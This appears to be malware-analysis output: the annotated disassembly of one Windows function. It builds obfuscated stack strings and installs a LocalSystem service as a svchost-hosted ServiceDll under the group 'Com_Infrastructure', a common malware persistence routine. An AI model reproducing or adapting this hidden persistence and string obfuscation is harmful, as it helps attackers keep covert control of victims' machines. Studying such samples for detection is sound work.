Function at 0x401860
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0xa38
mov eax, 0x73
push ebx
mov word [esp + 0x146], ax
mov word [esp + 0x15e], ax
mov word [esp + 0x16c], ax
mov word [esp + 0x176], ax
mov eax, 0x20
mov ecx, 0x74
push ebp
mov edx, 0x25
mov ebx, 0x6d
mov word [esp + 0x186], ax
mov word [esp + 0x18c], ax
push esi
mov word [esp + 0x150], cx
mov word [esp + 0x15c], cx
mov word [esp + 0x168], cx
mov word [esp + 0x180], cx
lea eax, [esp + 0x148]
push edi
mov word [esp + 0x14c], dx
mov word [esp + 0x158], bx
mov word [esp + 0x162], dx
mov word [esp + 0x170], bx
lea ecx, [esp + 0x230]
mov edi, 0x53
mov ebp, 0x65
mov esi, 0x6f
mov edx, 0x5c
xor ebx, ebx
push eax
push ecx
mov word [esp + 0x156], di
mov word [esp + 0x158], 0x79
mov word [esp + 0x15e], bp
mov word [esp + 0x162], 0x52
mov word [esp + 0x164], si
mov word [esp + 0x166], si
mov word [esp + 0x16c], dx
mov word [esp + 0x16e], di
mov word [esp + 0x170], 0x79
mov word [esp + 0x176], bp
mov word [esp + 0x17a], 0x33
mov word [esp + 0x17c], 0x32
mov word [esp + 0x17e], dx
mov word [esp + 0x182], 0x76
mov word [esp + 0x184], 0x63
mov word [esp + 0x186], 0x68
mov word [esp + 0x188], si
mov word [esp + 0x18e], 0x2e
mov word [esp + 0x190], bp
mov word [esp + 0x192], 0x78
mov word [esp + 0x194], bp
mov word [esp + 0x198], 0x2d
mov word [esp + 0x19a], 0x6b
mov word [esp + 0x19e], bx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edx, dword [esp + 0xa4c]
lea eax, [esp + 0x230]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, 9
mov esi, str.Com_Infrastructure
lea edi, [esp + 0x208]
mov byte [esp + 0x18], 1
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], bl
mov byte [esp + 0x1b], bl
mov byte [esp + 0x14], 2
mov byte [esp + 0x15], bl
mov byte [esp + 0x16], bl
mov byte [esp + 0x17], bl
mov dword [esp + 0x204], 0x120
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], bl
mov byte [esp + 0x1f], bl
mov byte [esp + 0x20], bl
mov ecx, dword [esp + 0xa58]
lea edx, [esp + 0x840]
push ecx
push edx
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2c], bl
mov byte [esp + 0x2d], bl
mov byte [esp + 0x2e], bl
mov byte [esp + 0x2f], bl
mov byte [esp + 0x30], 1
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], bl
mov byte [esp + 0x33], bl
mov byte [esp + 0x34], bl
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], bl
mov byte [esp + 0x37], bl
mov byte [esp + 0x38], 2
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], bl
mov byte [esp + 0x3c], 0x60
mov byte [esp + 0x3d], 0xea
mov byte [esp + 0x3e], bl
mov byte [esp + 0x3f], bl
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0xf003f
push ebx
push ebx
call dword [0x4060f8]
mov esi, eax
cmp esi, ebx
je 0x401b41
push ebx
mov ecx, dword [esp + 0xa54]
push ebx
mov edx, dword [esp + 0xa54]
push ebx
push ebx
lea eax, [esp + 0x240]
push ebx
push eax
push 1
push 2
push 0x20
push 0xf01ff
push ecx
push edx
push esi
call dword [0x406114]
cmp eax, ebx
jne 0x401b33
push esi
call dword [0x406110]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xa38
ret
push eax
call dword [0x406110]
push esi
call dword [0x406110]
mov ecx, 0x53
mov edi, 0x5c
mov esi, 0x72
mov eax, 0x6f
mov edx, 0x74
mov word [esp + 0x198], cx
mov word [esp + 0x19a], 0x4f
mov word [esp + 0x19c], 0x46
mov word [esp + 0x19e], 0x54
mov word [esp + 0x1a0], 0x57
mov word [esp + 0x1a2], 0x41
mov word [esp + 0x1a4], 0x52
mov word [esp + 0x1a6], 0x45
mov word [esp + 0x1a8], di
mov word [esp + 0x1aa], 0x4d
mov word [esp + 0x1ac], 0x69
mov word [esp + 0x1ae], 0x63
mov word [esp + 0x1b0], si
mov word [esp + 0x1b2], ax
mov word [esp + 0x1b4], 0x73
mov word [esp + 0x1b6], ax
mov word [esp + 0x1b8], 0x66
mov word [esp + 0x1ba], dx
mov word [esp + 0x1bc], di
mov word [esp + 0x1be], 0x57
mov word [esp + 0x1c0], 0x69
mov word [esp + 0x1c2], 0x6e
mov word [esp + 0x1c4], 0x64
mov word [esp + 0x1c6], ax
mov word [esp + 0x1c8], 0x77
mov word [esp + 0x1ca], 0x73
mov word [esp + 0x1cc], 0x20
mov word [esp + 0x1ce], 0x4e
mov word [esp + 0x1d0], 0x54
mov word [esp + 0x1d2], di
mov word [esp + 0x1d4], 0x43
mov word [esp + 0x1d6], 0x75
mov word [esp + 0x1d8], si
mov word [esp + 0x1da], si
mov word [esp + 0x1dc], bp
mov word [esp + 0x1de], 0x6e
mov word [esp + 0x1e0], dx
mov word [esp + 0x1e2], 0x56
mov word [esp + 0x1e4], bp
mov word [esp + 0x1e6], si
mov word [esp + 0x1e8], 0x73
mov word [esp + 0x1ea], 0x69
mov word [esp + 0x1ec], ax
mov word [esp + 0x1ee], 0x6e
mov word [esp + 0x1f0], di
mov word [esp + 0x1f2], cx
mov word [esp + 0x1f4], 0x76
mov word [esp + 0x1f6], 0x63
mov word [esp + 0x1f8], 0x68
mov word [esp + 0x1fa], ax
mov word [esp + 0x1fc], 0x73
mov word [esp + 0x1fe], dx
mov word [esp + 0x200], bx
mov word [esp + 0x104], cx
mov word [esp + 0x106], 0x59
mov word [esp + 0x108], cx
mov word [esp + 0x10a], 0x54
mov word [esp + 0x10c], 0x45
mov word [esp + 0x10e], 0x4d
mov word [esp + 0x110], di
mov word [esp + 0x112], 0x43
mov word [esp + 0x114], 0x75
mov word [esp + 0x116], si
mov word [esp + 0x118], si
mov word [esp + 0x11a], bp
mov word [esp + 0x11c], 0x6e
mov word [esp + 0x11e], dx
mov word [esp + 0x120], 0x43
mov word [esp + 0x122], ax
mov word [esp + 0x124], 0x6e
mov word [esp + 0x126], dx
mov word [esp + 0x128], si
mov word [esp + 0x12a], ax
mov word [esp + 0x12c], 0x6c
mov word [esp + 0x12e], cx
mov word [esp + 0x130], bp
mov word [esp + 0x136], cx
lea eax, [esp + 0x104]
lea ecx, [esp + 0x640]
push eax
push ecx
mov word [esp + 0x13a], dx
mov word [esp + 0x13c], di
mov word [esp + 0x140], bp
mov word [esp + 0x142], si
mov word [esp + 0x144], 0x76
mov word [esp + 0x146], 0x69
mov word [esp + 0x148], 0x63
mov word [esp + 0x14a], bp
mov word [esp + 0x14c], 0x73
mov word [esp + 0x14e], di
mov word [esp + 0x150], bx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edx, dword [esp + 0xa4c]
lea eax, [esp + 0x640]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea ecx, [esp + 0x104]
lea edx, [esp + 0x438]
mov eax, 0x61
push ecx
push edx
mov word [esp + 0xf4], di
mov word [esp + 0xf6], 0x50
mov word [esp + 0xf8], ax
mov word [esp + 0xfa], si
mov word [esp + 0xfc], ax
mov word [esp + 0xfe], 0x6d
mov word [esp + 0x100], bp
mov word [esp + 0x102], 0x74
mov word [esp + 0x104], bp
mov word [esp + 0x106], si
mov word [esp + 0x108], 0x73
mov word [esp + 0x10a], bx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [esp + 0xa4c]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea ecx, [esp + 0x438]
push eax
push ecx
call edi
lea edx, [esp + 0xec]
lea eax, [esp + 0x438]
push edx
push eax
call edi
lea ecx, [esp + 0x10]
lea edx, [esp + 0x198]
push ecx
push 0xf003f
push ebx
push edx
push 0x80000002
call dword [0x40611c]
test eax, eax
je 0x401f7e
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xa38
ret
mov eax, dword [esp + 0xa4c]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
call edi
mov ecx, dword [esp + 0x10]
shl eax, 1
push eax
mov eax, dword [esp + 0xa50]
push eax
push 7
push ebx
push eax
push ecx
call dword [0x406124]
mov edx, dword [esp + 0x10]
push edx
call dword [0x406118]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x640]
push eax
push ecx
push 0x80000002
call dword [0x406120]
test eax, eax
je 0x401fdc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xa38
ret
mov edx, 0x74
mov eax, 0x69
mov ecx, 0x70
mov word [esp + 0xe2], dx
mov word [esp + 0x86], dx
mov edx, dword [esp + 0xa54]
mov word [esp + 0xde], ax
mov word [esp + 0xe0], cx
mov word [esp + 0xe4], ax
mov word [esp + 0xa6], ax
mov word [esp + 0xaa], cx
mov eax, 0x61
mov ecx, 0x6d
push edx
mov word [esp + 0xd8], 0x44
mov word [esp + 0xda], bp
mov word [esp + 0xdc], 0x73
mov word [esp + 0xde], 0x63
mov word [esp + 0xe0], si
mov word [esp + 0xea], 0x6f
mov word [esp + 0xec], 0x6e
mov word [esp + 0xee], bx
mov word [esp + 0xa8], 0x44
mov word [esp + 0xac], 0x73
mov word [esp + 0xb0], 0x6c
mov word [esp + 0xb2], ax
mov word [esp + 0xb4], 0x79
mov word [esp + 0xb6], 0x4e
mov word [esp + 0xb8], ax
mov word [esp + 0xba], cx
mov word [esp + 0xbc], bp
mov word [esp + 0xbe], bx
mov word [esp + 0x7c], 0x49
mov word [esp + 0x7e], cx
mov word [esp + 0x80], ax
mov word [esp + 0x82], 0x67
mov word [esp + 0x84], bp
mov word [esp + 0x86], 0x50
mov word [esp + 0x88], ax
mov word [esp + 0x8c], 0x68
mov word [esp + 0x8e], bx
call edi
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0xd4]
shl eax, 1
push eax
mov eax, dword [esp + 0xa58]
push eax
push 1
push ebx
push ecx
push edx
call dword [0x406124]
mov eax, dword [esp + 0xa50]
push eax
call edi
mov ecx, dword [esp + 0xa50]
lea edx, [esp + 0xa4]
shl eax, 1
push eax
mov eax, dword [esp + 0x14]
push ecx
push 1
push ebx
push edx
push eax
call dword [0x406124]
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x18]
push 4
push ecx
push 4
push ebx
push str.ErrorControl
push edx
call dword [0x406124]
mov word [esp + 0x44], 0x47
mov word [esp + 0x46], si
mov word [esp + 0x48], 0x6f
mov word [esp + 0x4a], 0x75
mov word [esp + 0x4c], 0x70
lea eax, [esp + 0x208]
mov word [esp + 0x4e], bx
push eax
call edi
shl eax, 1
lea ecx, [esp + 0x208]
push eax
mov eax, dword [esp + 0x14]
push ecx
push 1
lea edx, [esp + 0x50]
push ebx
push edx
push eax
call dword [0x406124]
push str.LocalSystem
call edi
mov ecx, dword [esp + 0x10]
shl eax, 1
push eax
push str.LocalSystem
push 1
push ebx
push str.ObjectName
push ecx
call dword [0x406124]
mov ecx, dword [esp + 0x10]
mov eax, 0x74
lea edx, [esp + 0x14]
push 4
mov word [esp + 0x56], ax
mov word [esp + 0x5c], ax
push edx
push 4
lea eax, [esp + 0x5c]
push ebx
push eax
push ecx
mov word [esp + 0x68], 0x53
mov word [esp + 0x6c], 0x61
mov word [esp + 0x6e], si
mov word [esp + 0x72], bx
mov word [esp + 0x50], 0x54
mov word [esp + 0x52], 0x79
mov word [esp + 0x54], 0x70
mov word [esp + 0x56], bp
mov word [esp + 0x58], bx
call dword [0x406124]
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x204]
push 4
push edx
push 4
lea eax, [esp + 0x44]
push ebx
push eax
push ecx
call dword [0x406124]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x1c]
push 0x1c
push edx
push 3
push ebx
push 0x406014
push eax
call dword [0x406124]
lea ecx, [esp + 0x230]
push ecx
call edi
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x230]
shl eax, 1
push eax
push edx
push 2
lea eax, [esp + 0x84]
push ebx
push eax
push ecx
call dword [0x406124]
mov edx, dword [esp + 0x10]
push edx
call dword [0x406118]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x438]
push eax
push ecx
push 0x80000002
mov word [esp + 0x68], 0x53
mov word [esp + 0x6a], bp
mov word [esp + 0x6c], si
mov word [esp + 0x6e], 0x76
mov word [esp + 0x70], 0x69
mov word [esp + 0x72], 0x63
mov word [esp + 0x74], bp
mov word [esp + 0x76], 0x45
mov word [esp + 0x78], 0x6e
mov word [esp + 0x7a], 0x74
mov word [esp + 0x7c], si
mov word [esp + 0x7e], 0x79
mov word [esp + 0x80], bx
call dword [0x406120]
test eax, eax
je 0x402345
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xa38
ret
mov edx, 0x76
mov eax, 0x69
mov word [esp + 0xc2], dx
mov word [esp + 0x92], dx
mov word [esp + 0xc4], ax
mov word [esp + 0xce], ax
mov word [esp + 0x94], ax
lea edx, [esp + 0x840]
mov ecx, 0x63
mov eax, 0x6c
push edx
mov word [esp + 0xc0], 0x53
mov word [esp + 0xc2], bp
mov word [esp + 0xc4], si
mov word [esp + 0xca], cx
mov word [esp + 0xcc], bp
mov word [esp + 0xce], 0x4d
mov word [esp + 0xd0], 0x61
mov word [esp + 0xd4], 0x6e
mov word [esp + 0xd6], bx
mov word [esp + 0x90], 0x53
mov word [esp + 0x92], bp
mov word [esp + 0x94], si
mov word [esp + 0x9a], cx
mov word [esp + 0x9c], bp
mov word [esp + 0x9e], 0x44
mov word [esp + 0xa0], ax
mov word [esp + 0xa2], ax
mov word [esp + 0xa4], bx
call edi
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x8c]
shl eax, 1
push eax
lea eax, [esp + 0x844]
push eax
push 2
push ebx
push ecx
push edx
call dword [0x406124]
lea eax, [esp + 0x5c]
push eax
call edi
shl eax, 1
lea ecx, [esp + 0x5c]
push eax
mov eax, dword [esp + 0x14]
push ecx
push 1
lea edx, [esp + 0xc8]
push ebx
push edx
push eax
call dword [0x406124]
mov ecx, dword [esp + 0x10]
push ecx
call dword [0x406118]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0xa38
ret